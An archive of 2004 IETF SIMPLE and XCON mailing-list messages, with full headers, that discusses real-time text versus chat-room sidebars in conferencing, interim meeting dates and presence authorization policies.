Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 09:12:26 +0100
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

I fully agree.

greetz

Arnoud

Drs. Arnoud A. T. van Wijk
Viataal
Research & Development
Afdeling RDS
Theerestraat 42
5271 GD Sint-Michielsgestel
The Netherlands.
Mobile: +31651921948
International text telephone: +31735588408

>>> "Gunnar Hellstrom" <gunnar.hellstrom@omnitor.se> 22-03-04 22:34 >>>
Text conferencing does not need to be a sidebar.
I see text usage in a conference setting divided mainly in two variants.

1. Real time text in the main conference.
-------------------------------------------
There is a valid use of real time text as part of the main conference. =
That
is for all kinds of real time "subtitling" of a conference.

The reason may be that the audience is of mixed language background, and
need a typed translation while the main voice medium is left as it is.

Another reason may be that there are participants who cannot hear the
voice, and need to see it typed.

This type of text conferencing need to be real time, character by =
character
( or close to that ). Since it should flow together with other media in
real time, I think it is most natural to implement it with the text
transmitted as a streaming media in RTP, as specified by RFC2793 and
RFC2793bis, and initiated with the other real time media audio and video
with SDP at session initiation time.
It is the extension of the real time point to point call into the
multipoint world. The three natural media are video, text and audio.
One natural way to display it, if video is also included, is to display
text under the video image of the person sending the text, or the person
being text-interpreted.

2. Text Chat messaging in Chat rooms and sidebars
---------------------------------------------------
For the sidebar text Chat rooms, I would expect that the users often are
more happy to see the discussion message wise. They can then concentrate =
on
the main conference and occationally look at the sidebar if there are new
messages there. That would be the SIMPLE traditional IM view of text.


Would it be OK to use the term "text conferencing" for no 1, and "Chat
rooms" for no 2 ?
I expect XCON to mainly concentrate on no 1, and SIMPLE on no. 2. =
Therefore
I post this to both groups.

Regards

Gunnar

-------------------------------------------
Gunnar Hellstrom
Omnitor AB
Renathvagen 2
SE 121 37 Johanneshov
SWEDEN
+46 8 556 002 03
Mob: +46 708 204 288
www.omnitor.se=20
Gunnar.Hellstrom@Omnitor.se=20
--------------------------------------------


> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> Alan Johnston
> Sent: Friday, March 19, 2004 7:21 PM
> To: Rosen, Brian; 'Paul Kyzivat'; Niemi Aki (Nokia-M/Espoo)
> Subject: [Simple] RE: Chat sessions
>
>
> As a result of this thread, in Korea, a group of us (roughly
> myself, Brian,
> Hisham, Aki, Paul, Markus - apologies to others who I might have
> forgotten)
> met to discuss "chat rooms" and text conferencing.
>
> Here is what the consensus of the participants was:
>
> There is a need to document aspects of "chat rooms" or text
> conferencing.
>
> There seems to be a need to have a request/response kind of
> subset of conferencing (sidebar) AS WELL AS an immediate
> no request/response subset of conferencing (private message /
> whisper).  This need is not specific to media, although the
> exact mechanism to establish it might be media dependent.
> Media Policy is a media independent mechanism, but others
> may be more appropriate, especially for IM.  This work
> will at least begin in XCON.
>
> In addition, the absence of an ability to express a nickname
> in SIP was identified as an area for future SIP work.
>
> Thanks,
> Alan Johnston
> MCI
> sip:alan@sipstation.com=20
>
> At 08:07 PM 3/2/2004 -0500, Rosen, Brian wrote:
> >How are we going to resolve this?
> >
> >Most of us are here.  Can we get together?
> >
> >Brian
> >
> > > -----Original Message-----
> > > From: Paul Kyzivat [mailto:pkyzivat@cisco.com]=20
> > > Sent: Tuesday, March 02, 2004 6:44 PM
> > > To: Niemi Aki (Nokia-M/Espoo)
> > > Cc: ext Rosen, Brian; ext Jonathan Rosenberg;
> > > Markus.Isomaki@nokia.com;
> > > hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;
> > > simple@ietf.org=20
> > > Subject: Re: [Simple] Chat sessions
> > >
> > >
> > >
> > >
> > > Niemi Aki (Nokia-M/Espoo) wrote:
> > > >
> > > >>> Of course you can't do private messages with voice. Voice
> > > and IM are
> > > >>> inherently different. You can't send private voice
> > > packets to another
> > > >>> participant of a conference, simply because there isn't a way to
> > > >>> single out a participant in a conference by directly addressing
> > > >>> packets there. It also makes mixing really complicated, because =
a
> > > >>> private voice stream might overlap with the rest of the
> > > conference.
> > > >>> These don't present a problem for IM; the sender can
> > > single out the
> > > >>> recipient using the cpim To header field and the recipient UA =
can
> > > >>> simply mark a message as private and render it to the
> > > same UI as the
> > > >>> rest of the IMs in that conference.
> > > >>
> > > >> I protest.  There is no logical difference.  There is no protocol
> > > >> difference.  In most cases, there is no practical difference.  =
You
> > > >> send media to some address, you get media from some address.  You
> > > >> render it.  IM or voice or video is all just media, and
> its handled
> > > >> the same way.  You might have "centralized" or
> > > "distributed" mixers.
> > > >> Most IM systems, as implemented, are centralized mixers.  You =
send
> > > >> all media to the mixer, it sends media to you.  There is nothing
> > > >> special with IM.  You need some signaling for a private message.
> > > >> You can use the same signaling for a sidebar or a whisper.
> > > >
> > > > Hmm.. which systems are these? The ones I've used have both =
private
> > > > messages *and* sidebars.
> > >
> > > It seems that in principle the difference between sidebars
> > > and private
> > > messages is simply one of UI design. A particular client
> > > could support
> > > one or the other, or both.
> > >
> > > But you also seem to require that the initiator be able to
> > > choose which
> > > user experience the recipients will have. That turns it into
> > > a protocol
> > > issue. In general I would consider this a bad idea. But it is
> > > largely a
> > > human factors issue, and I don't feel qualified to comment on
> > > it except
> > > from the perspective of personal preference. But it seems that whole
> > > discussion hinges on whether there is a valid requirement for giving
> > > senders that degree of control over recipients.
> > >
> > >       Paul
> > >
> >
> >_______________________________________________
> >Simple mailing list
> >Simple@ietf.org=20
> >https://www1.ietf.org/mailman/listinfo/simple=20
>
>
> _______________________________________________
> Simple mailing list
> Simple@ietf.org=20
> https://www1.ietf.org/mailman/listinfo/simple=20
>



_______________________________________________
XCON mailing list
XCON@ietf.org=20
https://www1.ietf.org/mailman/listinfo/xcon

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 23 13:33:20 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16832
	for <simple-archive@odin.ietf.org>; Tue, 23 Mar 2004 13:33:19 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5qhn-0003ZM-Hp
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 13:32:51 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2NIWpbe013720
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 13:32:51 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5qhn-0003ZD-Ce
	for simple-web-archive@optimus.ietf.org; Tue, 23 Mar 2004 13:32:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16807
	for <simple-web-archive@ietf.org>; Tue, 23 Mar 2004 13:32:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5qhl-00009u-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 13:32:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5qgs-00003s-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 13:31:55 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5qgC-0007kW-00; Tue, 23 Mar 2004 13:31:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5qg2-0003GJ-RI; Tue, 23 Mar 2004 13:31:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Xi3-0006af-2h
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 17:15:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28384
	for <simple@ietf.org>; Mon, 22 Mar 2004 17:15:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Xi0-0006ik-00
	for simple@ietf.org; Mon, 22 Mar 2004 17:15:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Xh5-0006cu-00
	for simple@ietf.org; Mon, 22 Mar 2004 17:14:52 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Xgm-0006X7-00; Mon, 22 Mar 2004 17:14:32 -0500
Received: from softarmor.com (www.softarmor.com [127.0.0.1])
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i2MMGopF027788;
	Mon, 22 Mar 2004 16:16:50 -0600
Message-ID: <405F65D1.8010605@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: xcon@ietf.org
CC: sipping@ietf.org;, Glenn Parsons <gparsons@nortelnetworks.com>,
        sip@ietf.org, simple@ietf.org
References: <405E7C1D.1080301@softarmor.com>
In-Reply-To: <405E7C1D.1080301@softarmor.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Oops, XCON Too!  -- Was: Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 16:16:49 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


Your sentience challenged scribe (that's me) forot to include XCON in 
the original list. It's not because I think they're not important. It's 
because I forgot.

This MIGHT have something to do with having spent the weekend scraping 
old vinyl flooring loose from the concrete slab of my house, as my water 
heater ruptured while we were in Korea and much sogginess ensued.

Or I might not have an excuse.

Anyhow, topics addressed in the interim meeting will include SIP, 
SIPPING, SIMPLE, and XCON (where I REALLY want progress on floor 
control, especially after last weekend's labors!). And maybe LEMONADE, 
although the current drift in responses is that there is little need for 
  co-location here.

Follow-ups to SIPPING, please.

--
Dean

Dean Willis wrote:

> Please reply to the SIPPING list -- other lists copied to make sure we 
> hit everybody.
> 
> We probably need to have at least three days of interim meetings between 
> now and IETF 60, covering topics in SIP, SIPPING, and SIMPLE.
> 
> We've had a number of venue suggestions in the USA, and it has been 
> suggested that a Tuesday-Thursday schedule would provide the best 
> opportunities for travelers from more distant points.
> 
> There has also been some discussion of co-locating with the Lemonade 
> working group, if the venue allows. We're not sure whether this would 
> mean adding another day fore-or-aft, or simply running another room in 
> parallel.
> 
> For the record, historically we've had anywhere from 30 to 60 attendees 
> at interim meetings.
> 
> As I understand it, the leading candidate for venue is the Boulderama in 
> Boulder, Colorado. Rohan's current proposal is to ask each attendee to 
> contribute $50 toward meeting fees (princiaplly, renting the room). Of 
> course, if somebody wants to sponsor the meeting and pick up the
> 
> These dates have been proposed:
> 
> May 4-6 (May conflict with T1-S1)
> May 25-27 (conflicts with OMA POC interim)
> June 1-3 (no conflicts I know of)
> 
> For planning purposes, it would help to know:
> 
> 1) Who and how many would be able and willing to attend May 4-6?
> 2) Who and how many would be able and willing to to attend May 25-27?
> 3) Who and how many would be able and willing to to attend June 1-3?
> 4) Who would be conflicted if LEMONADE and SIP-related sessions occurred 
> simultaneously?
> 5) Who just doesn't want to go  the the US because of travel 
> restrictions and annoying border delays?
> 6) Anyody willing to sponsor or cosponsor the meeting?
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 23 13:33:22 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16850
	for <simple-archive@odin.ietf.org>; Tue, 23 Mar 2004 13:33:22 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5qho-0003Zk-RP
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 13:32:54 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2NIWq1f013738
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 13:32:52 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5qho-0003ZV-Nv
	for simple-web-archive@optimus.ietf.org; Tue, 23 Mar 2004 13:32:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16814
	for <simple-web-archive@ietf.org>; Tue, 23 Mar 2004 13:32:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5qhm-0000A5-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 13:32:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5qgu-000049-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 13:31:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5qgC-0007kX-00; Tue, 23 Mar 2004 13:31:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5qg3-0003GT-AB; Tue, 23 Mar 2004 13:31:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5h3z-0001pF-Hw
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 03:15:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10783
	for <simple@ietf.org>; Tue, 23 Mar 2004 03:15:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5h3x-0001Fg-00
	for simple@ietf.org; Tue, 23 Mar 2004 03:15:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5h31-00019m-00
	for simple@ietf.org; Tue, 23 Mar 2004 03:14:08 -0500
Received: from ns.ivd.nl ([193.67.37.226])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5h2I-000140-00; Tue, 23 Mar 2004 03:13:22 -0500
Received: (from root@localhost) by ns.ivd.nl (8.9.3c/8.6.12) id JAA57693; Tue, 23 Mar 2004 09:17:48 +0100 (CET)
Received: by ns.ivd.nl (TUNIX txp2/smap)
	id sma057448; Tue, 23 Mar 04 09:16:59 +0100
Received: from IVD-Message_Server by mailserver.viataal.nl
	with Novell_GroupWise; Tue, 23 Mar 2004 09:12:43 +0100
Message-Id: <s05fff8b.050@mailserver.viataal.nl>
X-Mailer: Novell GroupWise 5.5.5
From: "A vWijk" <A.vWijk@viataal.nl>
To: <pkyzivat@cisco.com>, <simple@ietf.org>, <xcon@ietf.org>,
        <Brian.Rosen@marconi.com>, <alan.johnston@mci.com>,
        <aki.niemi@nokia.com>, <gunnar.hellstrom@omnitor.se>
Subject: Betr.: [XCON] RE: [Simple] RE: Chat sessions
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 09:12:26 +0100
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

I fully agree.

greetz

Arnoud

Drs. Arnoud A. T. van Wijk
Viataal
Research & Development
Afdeling RDS
Theerestraat 42
5271 GD Sint-Michielsgestel
The Netherlands.
Mobile: +31651921948
International text telephone: +31735588408

>>> "Gunnar Hellstrom" <gunnar.hellstrom@omnitor.se> 22-03-04 22:34 >>>
Text conferencing does not need to be a sidebar.
I see text usage in a conference setting divided mainly in two variants.

1. Real time text in the main conference.
-------------------------------------------
There is a valid use of real time text as part of the main conference. =
That
is for all kinds of real time "subtitling" of a conference.

The reason may be that the audience is of mixed language background, and
need a typed translation while the main voice medium is left as it is.

Another reason may be that there are participants who cannot hear the
voice, and need to see it typed.

This type of text conferencing need to be real time, character by =
character
( or close to that ). Since it should flow together with other media in
real time, I think it is most natural to implement it with the text
transmitted as a streaming media in RTP, as specified by RFC2793 and
RFC2793bis, and initiated with the other real time media audio and video
with SDP at session initiation time.
It is the extension of the real time point to point call into the
multipoint world. The three natural media are video, text and audio.
One natural way to display it, if video is also included, is to display
text under the video image of the person sending the text, or the person
being text-interpreted.

2. Text Chat messaging in Chat rooms and sidebars
---------------------------------------------------
For the sidebar text Chat rooms, I would expect that the users often are
more happy to see the discussion message wise. They can then concentrate =
on
the main conference and occationally look at the sidebar if there are new
messages there. That would be the SIMPLE traditional IM view of text.


Would it be OK to use the term "text conferencing" for no 1, and "Chat
rooms" for no 2 ?
I expect XCON to mainly concentrate on no 1, and SIMPLE on no. 2. =
Therefore
I post this to both groups.

Regards

Gunnar

-------------------------------------------
Gunnar Hellstrom
Omnitor AB
Renathvagen 2
SE 121 37 Johanneshov
SWEDEN
+46 8 556 002 03
Mob: +46 708 204 288
www.omnitor.se=20
Gunnar.Hellstrom@Omnitor.se=20
--------------------------------------------


> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> Alan Johnston
> Sent: Friday, March 19, 2004 7:21 PM
> To: Rosen, Brian; 'Paul Kyzivat'; Niemi Aki (Nokia-M/Espoo)
> Subject: [Simple] RE: Chat sessions
>
>
> As a result of this thread, in Korea, a group of us (roughly
> myself, Brian,
> Hisham, Aki, Paul, Markus - apologies to others who I might have
> forgotten)
> met to discuss "chat rooms" and text conferencing.
>
> Here is what the consensus of the participants was:
>
> There is a need to document aspects of "chat rooms" or text
> conferencing.
>
> There seems to be a need to have a request/response kind of
> subset of conferencing (sidebar) AS WELL AS an immediate
> no request/response subset of conferencing (private message /
> whisper).  This need is not specific to media, although the
> exact mechanism to establish it might be media dependent.
> Media Policy is a media independent mechanism, but others
> may be more appropriate, especially for IM.  This work
> will at least begin in XCON.
>
> In addition, the absence of an ability to express a nickname
> in SIP was identified as an area for future SIP work.
>
> Thanks,
> Alan Johnston
> MCI
> sip:alan@sipstation.com=20
>
> At 08:07 PM 3/2/2004 -0500, Rosen, Brian wrote:
> >How are we going to resolve this?
> >
> >Most of us are here.  Can we get together?
> >
> >Brian
> >
> > > -----Original Message-----
> > > From: Paul Kyzivat [mailto:pkyzivat@cisco.com]=20
> > > Sent: Tuesday, March 02, 2004 6:44 PM
> > > To: Niemi Aki (Nokia-M/Espoo)
> > > Cc: ext Rosen, Brian; ext Jonathan Rosenberg;
> > > Markus.Isomaki@nokia.com;
> > > hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;
> > > simple@ietf.org=20
> > > Subject: Re: [Simple] Chat sessions
> > >
> > >
> > >
> > >
> > > Niemi Aki (Nokia-M/Espoo) wrote:
> > > >
> > > >>> Of course you can't do private messages with voice. Voice
> > > and IM are
> > > >>> inherently different. You can't send private voice
> > > packets to another
> > > >>> participant of a conference, simply because there isn't a way to
> > > >>> single out a participant in a conference by directly addressing
> > > >>> packets there. It also makes mixing really complicated, because =
a
> > > >>> private voice stream might overlap with the rest of the
> > > conference.
> > > >>> These don't present a problem for IM; the sender can
> > > single out the
> > > >>> recipient using the cpim To header field and the recipient UA =
can
> > > >>> simply mark a message as private and render it to the
> > > same UI as the
> > > >>> rest of the IMs in that conference.
> > > >>
> > > >> I protest.  There is no logical difference.  There is no protocol
> > > >> difference.  In most cases, there is no practical difference.  =
You
> > > >> send media to some address, you get media from some address.  You
> > > >> render it.  IM or voice or video is all just media, and
> its handled
> > > >> the same way.  You might have "centralized" or
> > > "distributed" mixers.
> > > >> Most IM systems, as implemented, are centralized mixers.  You =
send
> > > >> all media to the mixer, it sends media to you.  There is nothing
> > > >> special with IM.  You need some signaling for a private message.
> > > >> You can use the same signaling for a sidebar or a whisper.
> > > >
> > > > Hmm.. which systems are these? The ones I've used have both =
private
> > > > messages *and* sidebars.
> > >
> > > It seems that in principle the difference between sidebars
> > > and private
> > > messages is simply one of UI design. A particular client
> > > could support
> > > one or the other, or both.
> > >
> > > But you also seem to require that the initiator be able to
> > > choose which
> > > user experience the recipients will have. That turns it into
> > > a protocol
> > > issue. In general I would consider this a bad idea. But it is
> > > largely a
> > > human factors issue, and I don't feel qualified to comment on
> > > it except
> > > from the perspective of personal preference. But it seems that whole
> > > discussion hinges on whether there is a valid requirement for giving
> > > senders that degree of control over recipients.
> > >
> > >       Paul
> > >
> >
> >_______________________________________________
> >Simple mailing list
> >Simple@ietf.org=20
> >https://www1.ietf.org/mailman/listinfo/simple=20
>
>
> _______________________________________________
> Simple mailing list
> Simple@ietf.org=20
> https://www1.ietf.org/mailman/listinfo/simple=20
>



_______________________________________________
XCON mailing list
XCON@ietf.org=20
https://www1.ietf.org/mailman/listinfo/xcon

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 23 14:51:30 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21342
	for <simple-archive@ietf.org>; Tue, 23 Mar 2004 14:51:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5rvu-0006WU-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 14:51:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5rts-0006Gn-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 14:49:25 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5rsa-00064P-00; Tue, 23 Mar 2004 14:48:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5rsX-0003pv-Aq; Tue, 23 Mar 2004 14:48:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5rsS-0003pV-4x
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 14:47:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21015
	for <simple@ietf.org>; Tue, 23 Mar 2004 14:47:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5rsP-000631-00
	for simple@ietf.org; Tue, 23 Mar 2004 14:47:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5rr9-0005qd-00
	for simple@ietf.org; Tue, 23 Mar 2004 14:46:36 -0500
Received: from numenor.qualcomm.com ([129.46.51.58])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5rqG-0005fq-00
	for simple@ietf.org; Tue, 23 Mar 2004 14:45:40 -0500
Received: from magus.qualcomm.com (magus.qualcomm.com [129.46.61.148])
	by numenor.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i2NJj05P009915
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 23 Mar 2004 11:45:01 -0800 (PST)
Received: from [129.46.227.161] (carbuncle.qualcomm.com [129.46.227.161])
	by magus.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i2NJiwVK026533;
	Tue, 23 Mar 2004 11:44:59 -0800 (PST)
Mime-Version: 1.0
X-Sender: hardie@mage.qualcomm.com
Message-Id: <p06020405bc863897d740@[129.46.227.161]>
In-Reply-To: 
 <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
References: 
 <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
To: Markus.Isomaki@nokia.com, <jdrosen@dynamicsoft.com>, <simple@ietf.org>
From: Ted Hardie <hardie@qualcomm.com>
Subject: Re: [Simple] Comments on: First draft of text on semantic-based
 authorization policies
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 11:44:57 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

At 1:04 AM +0200 03/23/2004, Markus.Isomaki@nokia.com wrote:
>* Exceptions:
>Currently they are allowed only within domains. This was done on 
>purpose for reasons that I don't really believe in. The end result 
>is that it is impossible to do proper block-listing. It was claimed 
>that block-listing is a bad concept anyway, as identities can be 
>created easily to by-pass such lists. While in general this is the 
>case, I don't think it should limit _all_ systems, some of which can 
>deal with identities better than the Internet at large. Below is an 
>example, beyond block-listing, how leaving out exceptions makes 
>things difficult
>	[Presentity wants to give group "friends" a privileged access 
>to his presence information. By default he gives out some 
>information, but "friends" should receive a different view of the 
>_same_ information. (Note that this is not additive, but we talk 
>about different views, for instance showing a _different_ "note".) 
>If exceptions are not allowed, "friends" will get the common 
>information in addition to what should be given to them, making 
>things confusing at the watcher side. (For instance a watcher get 2 
>tuples with the same Contact, having different notes.)]
>So I believe the main problem is that presence information is not 
>always additive, but it can also be contradictive! Another huge 
>problem is that there already exists many presence systems which 
>have block-lists, and in some cases we would like to preserve the UI 
>semantics even when the protocol stack is changed to SIP. Now it 
>seems impossible.
>-> Proposal: Allow exceptions in SIMPLE, even though they are not 
>there in the common policies.

I think you are, in fact, asking for two things here:  a different 
view of how information
flow works and a change in permission processing.

I think the mental model of information flow is "there is data about 
reality, which
is revealed at different levels of accuracy based on permission"; 
with polite lying,
some of those "levels of accuracy" are lies.  You seem to be proposing that
there are different data sets associated with groups; these aren't 
due to permissions
that state how close to the full set of "real data" this data is , 
but that these are
sets that are independent of each other, and seem to me to imply that
their relationship to the "real data" isn't as important as their relationship
to the group to whom the data will be given.  The permission processing
isn't really "here is the level of accuracy for this group" but "here is
the data set for this group".

My take on this may be colored a bit by GeoPriv, but I don't think
this is a very useful change.  For a system that is fundamentally
about presence, a view that there is a set of real presence data
("currently typing up a message to simple") that may be reflected
in various ways ("busy" to a general watcher, "in my office" to my
colleagues, "interrupt okay" to my boss) seems to me pretty useful.
When I leave for lunch, all can be appropriately updated with
relation to the real data ("away" to a general watcher, "temporarily
out of office" to my colleagues, "available by cell" to my boss).

